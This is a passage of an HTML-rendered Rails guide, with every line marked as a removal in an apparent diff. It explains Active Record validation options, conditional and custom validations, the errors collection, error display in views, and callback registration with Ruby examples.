-<div class="paragraph"><p>The <tt>:allow_blank: option is similar to the +:allow_nil</tt> option. This option will let validation pass if the attribute&#8217;s value is <tt>nil</tt> or an empty string, i.e., any value that returns <tt>true</tt> for <tt>blank?</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Topic <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_length_of <span style="color: #990000">:</span>title<span style="color: #990000">,</span> <span style="color: #990000">:</span>is <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>allow_blank <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-Topic<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">"title"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">""</span><span style="color: #990000">).</span>valid? <span style="font-style: italic"><span style="color: #9A1900"># =&gt; true</span></span>
-Topic<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">"title"</span> <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">).</span>valid? <span style="font-style: italic"><span style="color: #9A1900"># =&gt; true</span></span></tt></pre></div></div>
-<h3 id="_the_tt_message_tt_option">3.3. The <tt>:message</tt> option</h3>
-<div class="paragraph"><p>As you&#8217;ve already seen, the <tt>:message</tt> option lets you specify the message that will be added to the <tt>errors</tt> collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper, together with the attribute name.</p></div>
-<h3 id="_the_tt_on_tt_option">3.4. The <tt>:on</tt> option</h3>
-<div class="paragraph"><p>The <tt>:on</tt> option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be ran on save (both when you&#8217;re creating a new record and when you&#8217;re updating it). If you want to change it, you can use <tt>:on =&gt; :create</tt> to run the validation only when a new record is created or <tt>:on =&gt; :update</tt> to run the validation only when a record is updated.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- <span style="font-style: italic"><span style="color: #9A1900"># =&gt; it will be possible to update email with a duplicated value</span></span>
- validates_uniqueness_of <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>on <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>create
-
- <span style="font-style: italic"><span style="color: #9A1900"># =&gt; it will be possible to create the record with a 'non-numerical age'</span></span>
- validates_numericality_of <span style="color: #990000">:</span>age<span style="color: #990000">,</span> <span style="color: #990000">:</span>on <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>update
-
- <span style="font-style: italic"><span style="color: #9A1900"># =&gt; the default (validates on both create and update)</span></span>
- validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>on <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>save
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_conditional_validation">4. Conditional validation</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the <tt>:if</tt> and <tt>:unless</tt> options, which can take a symbol, a string or a Ruby Proc. You may use the <tt>:if</tt> option when you want to specify when the validation <strong>should</strong> happen. If you want to specify when the validation <strong>should not</strong> happen, then you may use the <tt>:unless</tt> option.</p></div>
-<h3 id="_using_a_symbol_with_the_tt_if_tt_and_tt_unless_tt_options">4.1. Using a symbol with the <tt>:if</tt> and <tt>:unless</tt> options</h3>
-<div class="paragraph"><p>You can associate the <tt>:if</tt> and <tt>:unless</tt> options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>card_number<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>paid_with_card?
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> paid_with_card?
- payment_type <span style="color: #990000">==</span> <span style="color: #FF0000">"card"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_using_a_string_with_the_tt_if_tt_and_tt_unless_tt_options">4.2. Using a string with the <tt>:if</tt> and <tt>:unless</tt> options</h3>
-<div class="paragraph"><p>You can also use a string that will be evaluated using <tt>:eval</tt> and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>surname<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name.nil?"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_using_a_proc_object_with_the_tt_if_tt_and_tt_unless_tt_options">4.3. Using a Proc object with the <tt>:if</tt> and :<tt>unless</tt> options</h3>
-<div class="paragraph"><p>Finally, it&#8217;s possible to associate <tt>:if</tt> and <tt>:unless</tt> with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_confirmation_of <span style="color: #990000">:</span>password<span style="color: #990000">,</span>
- <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> <span style="color: #990000">=&gt;</span> Proc<span style="color: #990000">.</span>new <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>a<span style="color: #990000">|</span> a<span style="color: #990000">.</span>password<span style="color: #990000">.</span>blank? <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_writing_your_own_validation_methods">5. Writing your own validation methods</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>When the built-in validation helpers are not enough for your needs, you can write your own validation methods. You can do that by implementing methods that verify the state of your models and add messages to their <tt>errors</tt> collection when they are invalid. You must then register those methods by using one or more of the <tt>validate</tt>, <tt>validate_on_create</tt> or <tt>validate_on_update</tt> class methods, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be ran in the same order as they were registered.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Invoice <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validate <span style="color: #990000">:</span>expiration_date_cannot_be_in_the_past<span style="color: #990000">,</span>
- <span style="color: #990000">:</span>discount_cannot_be_more_than_total_value
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> expiration_date_cannot_be_in_the_past
- errors<span style="color: #990000">.</span>add<span style="color: #990000">(:</span>expiration_date<span style="color: #990000">,</span> <span style="color: #FF0000">"can't be in the past"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span>
- <span style="color: #990000">!</span>expiration_date<span style="color: #990000">.</span>blank? <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> expiration_date <span style="color: #990000">&lt;</span> Date<span style="color: #990000">.</span>today
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> discount_cannot_be_greater_than_total_value
- errors<span style="color: #990000">.</span>add<span style="color: #990000">(:</span>discount<span style="color: #990000">,</span> <span style="color: #FF0000">"can't be greater than total value"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span>
- discount <span style="color: #990000">&lt;=</span> total_value
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You can even create your own validation helpers and reuse them in several different models. Here is an example where we create a custom validation helper to validate the format of fields that represent email addresses:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ActiveRecord
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Validations
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> validates_email_format_of<span style="color: #990000">(</span>value<span style="color: #990000">)</span>
- validates_format_of value<span style="color: #990000">,</span>
- <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/\A[\w\._%-]+@[\w\.-]+\.[a-zA-Z]{2,4}\z/</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> Proc<span style="color: #990000">.</span>new <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>u<span style="color: #990000">|</span> <span style="color: #990000">!</span>u<span style="color: #990000">.</span>email<span style="color: #990000">.</span>blank? <span style="color: #FF0000">}</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Invalid format for email address"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The recipe is simple: just create a new validation method inside the <tt>ActiveRecord::Validations::ClassMethods</tt> module. You can put this code in a file inside your application&#8217;s <strong>lib</strong> folder, and then requiring it from your <strong>environment.rb</strong> or any other file inside <strong>config/initializers</strong>. You can use this helper like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_email_format_of <span style="color: #990000">:</span>email_address
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_manipulating_the_tt_errors_tt_collection">6. Manipulating the <tt>errors</tt> collection</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>You can do more than just call <tt>valid?</tt> upon your objects based on the existance of the <tt>errors</tt> collection. Here is a list of the other available methods that you can use to manipulate errors or ask for an object&#8217;s state.</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>add_to_base</tt> lets you add errors messages that are related to the object&#8217;s state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of it&#8217;s attributes. <tt>add_to_base</tt> receives a string with the message.
-</p>
-</li>
-</ul></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> a_method_used_for_validation_purposes
- errors<span style="color: #990000">.</span>add_to_base<span style="color: #990000">(</span><span style="color: #FF0000">"This person is invalid because ..."</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>add</tt> lets you manually add messages that are related to particular attributes. When writing those messages, keep in mind that Rails will prepend them with the name of the attribute that holds the error, so write it in a way that makes sense. <tt>add</tt> receives a symbol with the name of the attribute that you want to add the message to and the message itself.
-</p>
-</li>
-</ul></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> a_method_used_for_validation_purposes
- errors<span style="color: #990000">.</span>add<span style="color: #990000">(:</span>name<span style="color: #990000">,</span> <span style="color: #FF0000">"can't have the characters !@#$%*()_-+="</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>invalid?</tt> is used when you want to check if a particular attribute is invalid. It receives a symbol with the name of the attribute that you want to check.
-</p>
-</li>
-</ul></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>email
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-person <span style="color: #990000">=</span> Person<span style="color: #990000">.</span>new<span style="color: #990000">(:</span>name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"John Doe"</span><span style="color: #990000">)</span>
-person<span style="color: #990000">.</span>invalid?<span style="color: #990000">(:</span>email<span style="color: #990000">)</span> <span style="font-style: italic"><span style="color: #9A1900"># =&gt; true</span></span></tt></pre></div></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>on</tt> is used when you want to check the error messages for a specific attribute. It will return different kinds of objects depending on the state of the <tt>errors</tt> collection for the given attribute. If there are no errors related to the attribute, <tt>on</tt> will return <tt>nil</tt>. If there is just one errors message for this attribute, <tt>on</tt> will return a string with the message. When <tt>errors</tt> holds two or more error messages for the attribute, <tt>on</tt> will return an array of strings, each one with one error message.
-</p>
-</li>
-</ul></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>name
- validates_length_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=&gt;</span> <span style="color: #993399">3</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-person <span style="color: #990000">=</span> Person<span style="color: #990000">.</span>new<span style="color: #990000">(:</span>name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"John Doe"</span><span style="color: #990000">)</span>
-person<span style="color: #990000">.</span>valid? <span style="font-style: italic"><span style="color: #9A1900"># =&gt; true</span></span>
-person<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>on<span style="color: #990000">(:</span>name<span style="color: #990000">)</span> <span style="font-style: italic"><span style="color: #9A1900"># =&gt; nil</span></span>
-
-person <span style="color: #990000">=</span> Person<span style="color: #990000">.</span>new<span style="color: #990000">(:</span>name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"JD"</span><span style="color: #990000">)</span>
-person<span style="color: #990000">.</span>valid? <span style="font-style: italic"><span style="color: #9A1900"># =&gt; false</span></span>
-person<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>on<span style="color: #990000">(:</span>name<span style="color: #990000">)</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; "is too short (minimum is 3 characters)"</span></span>
-
-person <span style="color: #990000">=</span> Person<span style="color: #990000">.</span>new
-person<span style="color: #990000">.</span>valid? <span style="font-style: italic"><span style="color: #9A1900"># =&gt; false</span></span>
-person<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>on<span style="color: #990000">(:</span>name<span style="color: #990000">)</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; ["can't be blank", "is too short (minimum is 3 characters)"]</span></span></tt></pre></div></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>clear</tt> is used when you intentionally want to clear all the messages in the <tt>errors</tt> collection. However, calling <tt>errors.clear</tt> upon an invalid object won&#8217;t make it valid: the <tt>errors</tt> collection will now be empty, but the next time you call <tt>valid?</tt> or any method that tries to save this object to the database, the validations will run. If any of them fails, the <tt>errors</tt> collection will get filled again.
-</p>
-</li>
-</ul></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>name
- validates_length_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=&gt;</span> <span style="color: #993399">3</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-person <span style="color: #990000">=</span> Person<span style="color: #990000">.</span>new
-person<span style="color: #990000">.</span>valid? <span style="font-style: italic"><span style="color: #9A1900"># =&gt; false</span></span>
-person<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>on<span style="color: #990000">(:</span>name<span style="color: #990000">)</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; ["can't be blank", "is too short (minimum is 3 characters)"]</span></span>
-
-person<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>clear
-person<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>empty? <span style="font-style: italic"><span style="color: #9A1900"># =&gt; true</span></span>
-p<span style="color: #990000">.</span>save <span style="font-style: italic"><span style="color: #9A1900"># =&gt; false</span></span>
-p<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>on<span style="color: #990000">(:</span>name<span style="color: #990000">)</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; ["can't be blank", "is too short (minimum is 3 characters)"]</span></span></tt></pre></div></div>
-</div>
-<h2 id="_using_the_tt_errors_tt_collection_in_your_view_templates">7. Using the <tt>errors</tt> collection in your view templates</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails provides built-in helpers to display the error messages of your models in your view templates. When creating a form with the form_for helper, you can use the error_messages method on the form builder to render all failed validation messages for the current model instance.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>description<span style="color: #990000">,</span> <span style="color: #990000">:</span>value
- validates_numericality_of <span style="color: #990000">:</span>value<span style="color: #990000">,</span> <span style="color: #990000">:</span>allow_nil <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;% form_for(@product) do |f| %&gt;
- &lt;%= f.error_messages %&gt;
- &lt;p&gt;
- &lt;%= f.label :description %&gt;&lt;br /&gt;
- &lt;%= f.text_field :description %&gt;
- &lt;/p&gt;
- &lt;p&gt;
- &lt;%= f.label :value %&gt;&lt;br /&gt;
- &lt;%= f.text_field :value %&gt;
- &lt;/p&gt;
- &lt;p&gt;
- &lt;%= f.submit "Create" %&gt;
- &lt;/p&gt;
-&lt;% end %&gt;</tt></pre>
-</div></div>
-<div class="imageblock">
-<div class="content">
-<img src="images/error_messages.png" alt="Error messages" title="Error messages"/>
-</div>
-</div>
-<div class="paragraph"><p>You can also use the <tt>error_messages_for</tt> helper to display the error messages of a model assigned to a view template. It&#8217;s very similar to the previous example and will achieve exactly the same result.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= error_messages_for :product %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.</p></div>
-<div class="paragraph"><p>Both the <tt>form.error_messages</tt> and the <tt>error_messages_for</tt> helpers accept options that let you customize the <tt>div</tt> element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= f.error_messages :header_message =&gt; "Invalid product!",
- :message =&gt; "You'll need to fix the following fields:",
- :header_tag =&gt; :h3 %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>Which results in the following content</p></div>
-<div class="imageblock">
-<div class="content">
-<img src="images/customized_error_messages.png" alt="Customized error messages" title="Customized error messages"/>
-</div>
-</div>
-<div class="paragraph"><p>If you pass <tt>nil</tt> to any of these options, it will get rid of the respective section of the <tt>div</tt>.</p></div>
-<div class="paragraph"><p>It&#8217;s also possible to change the CSS classes used by the <tt>error_messages</tt> helper. These classes are automatically defined at the <strong>scaffold.css</strong> file, generated by the scaffold script. If you&#8217;re not using scaffolding, you can still define those CSS classes at your CSS files. Here is a list of the default CSS classes.</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>.fieldWithErrors</tt> - Style for the form fields with errors.
-</p>
-</li>
-<li>
-<p>
-<tt>#errorExplanation</tt> - Style for the <tt>div</tt> element with the error messages.
-</p>
-</li>
-<li>
-<p>
-<tt>#errorExplanation h2</tt> - Style for the header of the <tt>div</tt> element.
-</p>
-</li>
-<li>
-<p>
-<tt>#errorExplanation p</tt> - Style for the paragraph that holds the message that appears right below the header of the <tt>div</tt> element.
-</p>
-</li>
-<li>
-<p>
-<tt>#errorExplanation ul li</tt> - Style for the list of error messages.
-</p>
-</li>
-</ul></div>
-<h3 id="_changing_the_way_form_fields_with_errors_are_displayed">7.1. Changing the way form fields with errors are displayed</h3>
-<div class="paragraph"><p>By default, form fields with errors are displayed enclosed by a <tt>div</tt> element with the <tt>fieldWithErrors</tt> CSS class. However, we can write some Ruby code to override the way Rails treats those fields by default. Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a <tt>span</tt> element with a <tt>validation-error</tt> CSS class. There will be no <tt>div</tt> element enclosing the <tt>input</tt> element, so we get rid of that red border around the text field. You can use the <tt>validation-error</tt> CSS class to style it anyway you want.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionView<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>field_error_proc <span style="color: #990000">=</span> Proc<span style="color: #990000">.</span>new <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>html_tag<span style="color: #990000">,</span> instance<span style="color: #990000">|</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> instance<span style="color: #990000">.</span>error_message<span style="color: #990000">.</span>kind_of?<span style="color: #990000">(</span>Array<span style="color: #990000">)</span>
- <span style="color: #990000">%(#</span><span style="color: #FF0000">{</span>html_tag<span style="color: #FF0000">}</span><span style="color: #FF0000">&lt;span class='validation-error'&gt;</span><span style="color: #990000">&amp;</span>nbsp<span style="color: #990000">;</span>
- <span style="color: #990000">#</span><span style="color: #FF0000">{</span>instance<span style="color: #990000">.</span>error_message<span style="color: #990000">.</span>join<span style="color: #990000">(</span><span style="color: #FF0000">','</span><span style="color: #990000">)</span><span style="color: #FF0000">}</span><span style="color: #FF0000">&lt;/span&gt;</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- <span style="color: #990000">%(#</span><span style="color: #FF0000">{</span>html_tag<span style="color: #FF0000">}</span><span style="color: #FF0000">&lt;span class='validation-error'&gt;</span><span style="color: #990000">&amp;</span>nbsp<span style="color: #990000">;</span>
- <span style="color: #990000">#</span><span style="color: #FF0000">{</span>instance<span style="color: #990000">.</span>error_message<span style="color: #FF0000">}</span><span style="color: #FF0000">&lt;/span&gt;</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This will result in something like the following content:</p></div>
-<div class="imageblock">
-<div class="content">
-<img src="images/validation_error_messages.png" alt="Validation error messages" title="Validation error messages"/>
-</div>
-</div>
-<div class="paragraph"><p>The way form fields with errors are treated is defined by the <tt>ActionView::Base.field_error_proc</tt> Ruby Proc. This Proc receives two parameters:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-A string with the HTML tag
-</p>
-</li>
-<li>
-<p>
-An object of the <tt>ActionView::Helpers::InstanceTag</tt> class.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_callbacks">8. Callbacks</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Callbacks are methods that get called at certain moments of an object&#8217;s lifecycle. With callbacks it&#8217;s possible to write code that will run whenever an Active Record object is created, saved, updated, deleted or loaded from the database.</p></div>
-<h3 id="_callbacks_registration">8.1. Callbacks registration</h3>
-<div class="paragraph"><p>In order to use the available callbacks, you need to registrate them. You can do that by implementing them as an ordinary methods, and then using a macro-style class method to register then as callbacks.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>login<span style="color: #990000">,</span> <span style="color: #990000">:</span>email
-
- before_validation <span style="color: #990000">:</span>ensure_login_has_a_value
-
- protected
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> ensure_login_has_a_value
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>login<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
- <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>login <span style="color: #990000">=</span> email <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> email<span style="color: #990000">.</span>blank?
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The macro-style class methods can also receive a block. Rails best practices say that you should only use this style of registration if the code inside your block is so short that it fits in just one line.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>login<span style="color: #990000">,</span> <span style="color: #990000">:</span>email
-
- before_create <span style="color: #FF0000">{</span><span style="color: #990000">|</span>user<span style="color: #990000">|</span> user<span style="color: #990000">.</span>name <span style="color: #990000">=</span> user<span style="color: #990000">.</span>login<span style="color: #990000">.</span>capitalize <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> user<span style="color: #990000">.</span>name<span style="color: #990000">.</span>blank?<span style="color: #FF0000">}</span>
